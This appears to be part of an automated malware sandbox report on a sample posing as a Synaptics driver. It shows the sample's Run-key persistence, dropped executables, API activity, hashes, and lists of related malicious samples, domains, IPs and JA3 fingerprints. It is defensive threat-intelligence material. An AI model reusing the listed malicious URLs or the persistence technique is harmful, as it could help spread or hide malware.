Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:00:17	API Interceptor	3x Sleep call for process: svchost.exe modified
06:00:23	API Interceptor	268x Sleep call for process: Synaptics.exe modified
07:22:37	API Interceptor	1x Sleep call for process: WerFault.exe modified
07:22:43	API Interceptor	10789879x Sleep call for process: C2485384.exe modified
07:22:50	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
07:23:52	API Interceptor	867422x Sleep call for process: splwow64.exe modified
12:00:20	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
163.181.130.181	1.exe	Get hash	malicious	BlackMoon	Browse	www.1688.com/
163.181.130.181	f2.exe	Get hash	malicious	BlackMoon	Browse	www.1688.com/
103.235.47.188	CZyOWoN2hiszA6d.exe	Get hash	malicious	FormBook	Browse	www.vicmvm649n.top/v15n/?Yn=UsBn8mn1PUl4czyMQZxenuqc6dPBc+Q3khu6MN2NNQj7YA4ug5lWpId+R/K0fD87Hm6v&mv=Y4QppplhSjwxWBd
	f2.exe	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	f1.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	SecuriteInfo.com.FileRepMalware.29184.31872.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	LisectAVT_2403002A_489.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.baidu.com/
	7Y18r(100).exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	7Y18r(100).exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	Yiwaiwai Build Version.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
119.28.109.132	1.exe	Get hash	malicious	BlackMoon	Browse	www.sogou.com/
	f2.exe	Get hash	malicious	BlackMoon	Browse	www.sogou.com/
	f1.exe	Get hash	malicious	Unknown	Browse	www.sogou.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.sogou.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.sogou.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.sogou.com/
	SecuriteInfo.com.Win32.Evo-gen.15487.23203.exe	Get hash	malicious	Unknown	Browse	www.soso.com/q?pid=s.idx&cid=s.idx.se&w=%CC%EC%C6%F8

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
so.seos-lb.com	1.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	f2.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	f1.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	104.192.110.226
	SecuriteInfo.com.Win32.Trojan.Kryptik.HK@susp.11565.26013.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	https://www.so.com/link?m=bHHIH9gHiWMt7CT52Mk%2FHVbpA4Q7HLpfa%2Fe58lRjM9C9UVI%2BR7UmsSaIs1wIDRUJSJpxHEWC1%2BYp0sKM%2Fqs2t2rWnaBABhH9Okw2hj0SG5Er8qYCL76sO1Txz1%2BBPXh5CUJd9No6kEqqeY436	Get hash	malicious	Unknown	Browse	104.192.110.226
www.jmw.com.cn	1.exe	Get hash	malicious	BlackMoon	Browse	47.94.225.221
	f2.exe	Get hash	malicious	BlackMoon	Browse	47.94.225.221
	f1.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	47.94.225.221
g8450a5.usallient81.jiasula.vip	1.exe	Get hash	malicious	BlackMoon	Browse	45.194.34.240
	f1.exe	Get hash	malicious	Unknown	Browse	45.194.34.250
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	45.194.34.241
www.douyin.com.queniuyk.com	1.exe	Get hash	malicious	BlackMoon	Browse	163.181.130.189
	f1.exe	Get hash	malicious	Unknown	Browse	163.181.201.232
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.181.92.243
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.181.92.240
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	163.181.92.246
	file.exe	Get hash	malicious	Unknown	Browse	163.181.92.229
multi-az-www-api.kuaishou.com	1.exe	Get hash	malicious	BlackMoon	Browse	103.102.202.106
	f1.exe	Get hash	malicious	Unknown	Browse	103.102.202.125
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.107.217.26
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.102.202.144
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	103.102.202.144
eu-central-1-ds-2088.oss-acc.aliyuncs.com	1.exe	Get hash	malicious	BlackMoon	Browse	47.254.187.186
	f1.exe	Get hash	malicious	Unknown	Browse	47.254.187.186
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.254.187.186

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Africa-on-Cloud-ASZA	1.exe	Get hash	malicious	BlackMoon	Browse	45.194.34.240
	http://58365888.cc/	Get hash	malicious	Unknown	Browse	45.194.36.61
	f1.exe	Get hash	malicious	Unknown	Browse	45.194.34.250
	xd.arm.elf	Get hash	malicious	Mirai	Browse	45.206.89.81
	eqzAg8XVRw.elf	Get hash	malicious	Mirai	Browse	156.228.228.50
	http://capitalhillblue.com/	Get hash	malicious	Unknown	Browse	45.200.75.220
	205.185.120.123-skid.arm5-2024-07-27T10_33_41.elf	Get hash	malicious	Mirai, Moobot	Browse	156.240.33.231
	205.185.120.123-skid.arm-2024-07-27T10_33_40.elf	Get hash	malicious	Mirai, Moobot	Browse	156.228.188.233
	205.185.120.123-skid.x86_64-2024-07-27T10_33_39.elf	Get hash	malicious	Mirai, Moobot	Browse	156.246.3.226
	205.185.120.123-skid.arm7-2024-07-27T10_33_43.elf	Get hash	malicious	Mirai, Moobot	Browse	156.228.204.52
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	1.exe	Get hash	malicious	BlackMoon	Browse	47.88.198.68
	2PQz3l61Pc.elf	Get hash	malicious	Mirai	Browse	8.216.67.93
	botx.mips.elf	Get hash	malicious	Mirai	Browse	47.52.70.150
	payment voucher.exe	Get hash	malicious	FormBook	Browse	8.223.42.103
	http://www.hongypower.com/company_profile.html	Get hash	malicious	Unknown	Browse	47.246.137.187
	Ares.x86.elf	Get hash	malicious	Unknown	Browse	47.241.69.24
	f2.exe	Get hash	malicious	BlackMoon	Browse	47.254.187.183
	f1.exe	Get hash	malicious	Unknown	Browse	8.212.11.147
	1.exe	Get hash	malicious	Unknown	Browse	8.222.228.10
	2.exe	Get hash	malicious	Phisher	Browse	8.217.37.106
BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	1.exe	Get hash	malicious	BlackMoon	Browse	103.235.46.96
	CZyOWoN2hiszA6d.exe	Get hash	malicious	FormBook	Browse	103.235.47.188
	f2.exe	Get hash	malicious	BlackMoon	Browse	103.235.47.188
	f1.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	http://broad.qiaoleix.workers.dev/	Get hash	malicious	Unknown	Browse	103.235.46.96
	#U5b89#U88c5#U5bdf#U770b.msi	Get hash	malicious	GhostRat	Browse	103.235.47.238
	http://oveman-austral.com/	Get hash	malicious	Unknown	Browse	103.235.46.96
	SecuriteInfo.com.FileRepMalware.29184.31872.exe	Get hash	malicious	Unknown	Browse	103.235.47.188
	SecuriteInfo.com.FileRepMalware.29184.31872.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	http://cognitoforms.com/Renato4/ManagementHasAddedYouToAWholeTeam	Get hash	malicious	HTMLPhisher	Browse	103.235.46.96
TAOBAOZhejiangTaobaoNetworkCoLtdCN	1.exe	Get hash	malicious	BlackMoon	Browse	163.181.201.231
	http://www.hongypower.com/company_profile.html	Get hash	malicious	Unknown	Browse	47.246.46.214
	f2.exe	Get hash	malicious	BlackMoon	Browse	163.181.131.211
	f1.exe	Get hash	malicious	Unknown	Browse	163.181.131.210
	uPrsrEVzMP.exe	Get hash	malicious	CobaltStrike	Browse	163.181.130.189
	https://www.aa5aa5aa5aa5aa44.app:3669/home	Get hash	malicious	Unknown	Browse	163.181.130.188
	SecuriteInfo.com.Adware.DownwareNET.4.32136.10916.exe	Get hash	malicious	Unknown	Browse	163.181.130.170
	https://dna-id-xcom.resmi-v1.biz.id/	Get hash	malicious	Unknown	Browse	163.181.131.216
	https://href.li/?https://mex.adobedownloader.info/ePPn/	Get hash	malicious	HTMLPhisher	Browse	163.181.131.243
	http://www.foodmate.net	Get hash	malicious	Unknown	Browse	163.181.130.191
TAOBAOZhejiangTaobaoNetworkCoLtdCN	1.exe	Get hash	malicious	BlackMoon	Browse	163.181.201.231
	http://www.hongypower.com/company_profile.html	Get hash	malicious	Unknown	Browse	47.246.46.214
	f2.exe	Get hash	malicious	BlackMoon	Browse	163.181.131.211
	f1.exe	Get hash	malicious	Unknown	Browse	163.181.131.210
	uPrsrEVzMP.exe	Get hash	malicious	CobaltStrike	Browse	163.181.130.189
	https://www.aa5aa5aa5aa5aa44.app:3669/home	Get hash	malicious	Unknown	Browse	163.181.130.188
	SecuriteInfo.com.Adware.DownwareNET.4.32136.10916.exe	Get hash	malicious	Unknown	Browse	163.181.130.170
	https://dna-id-xcom.resmi-v1.biz.id/	Get hash	malicious	Unknown	Browse	163.181.131.216
	https://href.li/?https://mex.adobedownloader.info/ePPn/	Get hash	malicious	HTMLPhisher	Browse	163.181.131.243
	http://www.foodmate.net	Get hash	malicious	Unknown	Browse	163.181.130.191

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	place_sierpien_2024.vbs	Get hash	malicious	Unknown	Browse	13.107.246.60
	vdCC5gzAn6.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	BLXn1MpVdg.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	BL& PACKINGLIST.xls	Get hash	malicious	Unknown	Browse	13.107.246.60
	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	13.107.246.60
	Microsoft 3D.exe	Get hash	malicious	LummaC, Go Injector	Browse	13.107.246.60
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	13.107.246.60
	vercath63.b-cdn.ps1	Get hash	malicious	LummaC, Go Injector	Browse	13.107.246.60
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	13.107.246.60
	2.bin.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	13.107.246.60
37f463bf4616ecd445d4a1937da06e19	CV.vbs	Get hash	malicious	Xmrig	Browse	142.250.185.174 142.250.185.65
	Viz_Setup.U3.11.exe	Get hash	malicious	Unknown	Browse	142.250.185.174 142.250.185.65
	INV_35689.vbe	Get hash	malicious	AveMaria, UACMe	Browse	142.250.185.174 142.250.185.65
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse	142.250.185.174 142.250.185.65
	Updater.lnk	Get hash	malicious	Unknown	Browse	142.250.185.174 142.250.185.65
	WireGaurd.exe	Get hash	malicious	Unknown	Browse	142.250.185.174 142.250.185.65
	66af531b832ee_main.exe	Get hash	malicious	Vidar	Browse	142.250.185.174 142.250.185.65
	66af4e35e761b_doz.exe	Get hash	malicious	Vidar	Browse	142.250.185.174 142.250.185.65
	SecuriteInfo.com.Trojan.Crypt.28917.30010.exe	Get hash	malicious	Unknown	Browse	142.250.185.174 142.250.185.65
	vercath63.b-cdn.ps1	Get hash	malicious	LummaC, Go Injector	Browse	142.250.185.174 142.250.185.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\Google\C2485384.exe	1.exe	Get hash	malicious	BlackMoon	Browse
	f2.exe	Get hash	malicious	BlackMoon	Browse
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse

Created / dropped Files

C:\Program Files (x86)\Google\C2485384.exe

Download File

Process:	C:\Users\user\Desktop\._cache_3.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1168440
Entropy (8bit):	7.834939987470682
Encrypted:	false
SSDEEP:	24576:FNNUQIzh8Vd7EuHu3Z2E+XT9uZk2utlyvyaPko32:nueoJ5CUZ3uvwyaa
MD5:	0D79B45E55C20F14D9614596247B7DF2
SHA1:	F0E86CFFCAE509CC311F2BE6CC1C87CFB5616480
SHA-256:	A0C15F709E1B80E93A61CBA414E266097DC8C23A7E8DE2B6DBE825CA2952DF7E
SHA-512:	23FEF0EC6A846A96157C7F83104FA7A4B871A5244E0CF30B42513D5E8885D2E9164B30EC2C881945F6B761B294CD4A17321593C05B383414A7212316CFFCB8A4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Joe Sandbox View:	Filename: 1.exe, Detection: malicious, Browse Filename: f2.exe, Detection: malicious, Browse Filename: d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B............................3+............@..............................................@..........................,;..<.... ...............................................................................0..`...........................0.DE................................@...1.TA.....I.......4..................@...2.S......L...`..........................3.data..z..........................@...4.ls....................................5.data..............................@...6.eloc..................................7.src........ ......................@...8.ext...............................@...9.data.......0......................@...10.ta....q...@......................@...........................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xboaaD0JOCEfMuaaD0JOCEfMKQmDkxboaaD0JOCEfMuaaD0JOCEfMKQmD:ZaaD0JcaaD0JwQQnaaD0JcaaD0JwQQ
MD5:	7D48941DB05D2D1C9A0C52739933543F
SHA1:	4FF1446A7D5DA6BBEA145000B00A9F4FFED90930
SHA-256:	C436AB7F36E238365FDDF5BDFEB9EBFEFACE94AD0FEB79C571182DA968815D87
SHA-512:	41C7DA95797437840014733F7021883E034503A9D8F07F7C9A0B1131A869A29A6E00D4E9FA99EEDAFBDD2F0DFDAFFB0A7671D8F666DA0E2023CA887E4BA0FB62
Malicious:	false
Preview:	*.>...........f.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................f.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7106513438888765
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqC:2JIB/wUKUKQncEmYRTwh02
MD5:	E5E1040C2E50D4C4B021A9F3112F6155
SHA1:	C85080E11C46349D46A693264620461CC588485F
SHA-256:	9DE8724040721971DCE59E8C8E4E56E6985CF447D25504D132F1D6C9B0D4FFD9
SHA-512:	EA1EB46792E6BC7B4A4C7C7C519CC08F47C6F6158051056EBA1230F3470D6665DA055E3024D65CF25D247F8C445E48453C0BD185565E4E6363D4B3ADD1408D2E
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe7f7dbec, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6651114970402436
Encrypted:	false
SSDEEP:	1536:wPySB2ESB2SSjlK/2502y0IEWBqbMo5g5+Ykr3g16z2UPkLk+kK+UJ8xUJSSiWjP:wPyazaU+uroc2U5Si6
MD5:	CEDD0F5DA14724D771050C0FDE086ECA
SHA1:	9FFE138CA892EFB0C1BDBF73CE9DAC129CE7B98B
SHA-256:	62BA7DAA8CD8238C8297D02C75A046DF57E932EF0AD1F81CD45DA3C4BEB17928
SHA-512:	D841C43AB36816C5ED60F338F9649264968C9843B05ACD04FFCBFEC09F2E00A99E535ED55896B51E59FAA7109C77A23A87547C08CF590F99675CCCD6007AD70E
Malicious:	false
Preview:	....... .......#.......X\...;...{......................0.e..........\|.......\|..h.b..........\|..0.e.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................J........\|..........................\|...........................#......0.e.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07915126494826152
Encrypted:	false
SSDEEP:	3:V+/OetYeDaOl/lIc8Z2gIXl/HFvJl/lallkqqG9lXlZOS:Y/rzDzl/Ocu21Xl/HFRl/AVr
MD5:	89293F8170807DB77A8713B2E0B18A01
SHA1:	582B83D464E1A0826B1A8DFC4303C302EA90172E
SHA-256:	FA4330DD78C9DB884EC02047BBA4E5988BF99DDDF92172BA911594ECA9B9C331
SHA-512:	A1A7058D52A5CAFCF959B8A0D40AB5A36E3770B4CED8C45FE8D1D492B7E2F853A2F34304E0E0FEB341A3240171EA5181A0B86A6F358B184E1891C465B64A3558
Malicious:	false
Preview:	.2.f.....................................;...{.......\|.......\|...............\|9......\|...'.......\|y.........................\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235512403996626
Encrypted:	false
SSDEEP:	12288:vBXiKZWAAllNJheaP7Qata8ztcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpG10:9+
MD5:	9C4CC3AEF36027D509AA98AD1CEC01FD
SHA1:	822DD4CF0D6BD067AECE93D97FA613F0680FE4E5
SHA-256:	20BA46A04253BF81344128C11B7F721E663CF0BB738A27220B5371CB6FCC85B7
SHA-512:	B6554B8CEAA1552B2033634522B38FDF6EEF0F3E28505BFAFA64F8FD80CD57CF53066C330AE1582A7DCF36165F228AF4F7783E66B1765CA648C87680B2D4F857
Malicious:	false
Preview:	....&Dk....kM.'".....x'.=@S.b...`.h$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\ClipSvc\tokens.dat.bak (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	697182
Entropy (8bit):	5.235512403996626
Encrypted:	false
SSDEEP:	12288:vBXiKZWAAllNJheaP7Qata8ztcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpG10:9+
MD5:	9C4CC3AEF36027D509AA98AD1CEC01FD
SHA1:	822DD4CF0D6BD067AECE93D97FA613F0680FE4E5
SHA-256:	20BA46A04253BF81344128C11B7F721E663CF0BB738A27220B5371CB6FCC85B7
SHA-512:	B6554B8CEAA1552B2033634522B38FDF6EEF0F3E28505BFAFA64F8FD80CD57CF53066C330AE1582A7DCF36165F228AF4F7783E66B1765CA648C87680B2D4F857
Malicious:	false
Preview:	....&Dk....kM.'".....x'.=@S.b...`.h$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_27cf4c9c-e2a0-4b20-8aae-04e9f2f33f64\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.132699257279557
Encrypted:	false
SSDEEP:	192:FoRVpsqImo0WMn4DzJDzqjLOA2gcdsJzuiFRZ24IO8EKDzy:Eyq5WMn4Jqj8CzuiFRY4IO8zy
MD5:	48B615A119E76AFCB2990009AC1C9162
SHA1:	E78ED1497451C01DE601DD5AF3C228DDD2F8DFFC
SHA-256:	C0BE571313BD9DA09F977AF212A1D8B9691B0F6BBC9A2C337A9BBF39031C384D
SHA-512:	D3093910CFC8D442792BB6CDC598520EFB8F7A16316FD8ED7C7B68BE29FA65DFEA2162A1B7FC1126C4BCC84A3082F34BAFCDE654FF932332BF7915F2A7E86E7A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.7.3.3.0.5.4.7.2.8.4.7.6.6.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.7.3.3.0.5.5.4.6.2.8.5.2.0.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.7.c.f.4.c.9.c.-.e.2.a.0.-.4.b.2.0.-.8.a.a.e.-.0.4.e.9.f.2.f.3.3.f.6.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.a.a.a.0.a.e.f.-.4.2.b.e.-.4.e.a.e.-.a.e.b.7.-.7.7.0.e.a.0.6.6.b.b.5.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.3.4.-.0.0.0.1.-.0.0.1.4.-.2.6.a.f.-.2.1.4.5.1.e.e.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.f.a.d.0.f.3.4.e.7.f.f.c.0.5.8.2.7.a.8.7.d.c.1.f.7.a.e.9.a.9.9.d.6.8.1.4.0.5.8.1.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER41C5.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Aug 5 11:22:28 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	3444550
Entropy (8bit):	2.0523519626431925
Encrypted:	false
SSDEEP:	12288:b/AP1otshauvAxSxf47uc18n/dn9BtSD29lT2JsOvp9xRxOpx6VMvSTW8l4vGTyf:b/APhaFZwwYbKgyQ2S
MD5:	C17C8252D6B5A2528EAA4C7716557B42
SHA1:	77036EE4ABB38F8247A5D6A3DB045F695D27E09C
SHA-256:	E16C85C4E59CDA13027AE39A42343CE454BEF56FA0CC8936A42692440BBA2893
SHA-512:	BB2D90E170C33D3EB6A3F8E02570F1B9AD092D5646F347F51F2F2059A9BA99D0DF4E507700EEA34E900426AB5F30F55713DD1AC1C6DF0D37729EBA0AB9F227EB
Malicious:	false
Preview:	MDMP..a..... ..........f............43..............H:......<....Y...........c..........`.......8...........T............7..VW3.........,Z...........\..............................................................................eJ.......\......GenuineIntel............T.......4......f.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5DAB.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6308
Entropy (8bit):	3.707949583471483
Encrypted:	false
SSDEEP:	192:R6l7wVeJVxW6yV2YiSWspDl89bkssf3Mm:R6lXJq6vYuTk/fJ
MD5:	830E9B47D8617924C54C5041CC905C55
SHA1:	96F35A9C0974366E920459C484F52819013AABD9
SHA-256:	FBA24185000FC52C2F6F0C3B67E89FC6ABE7F2543C05652894399BCC92DE9C33
SHA-512:	992C311B10D9763ED8607BD7693A95A522E21B3FC59167F77A99466C8D9657DF8F70D09B78F8CF29294A51BC968272D13E87108DCADB71702827733D24FEA822
Malicious:	false
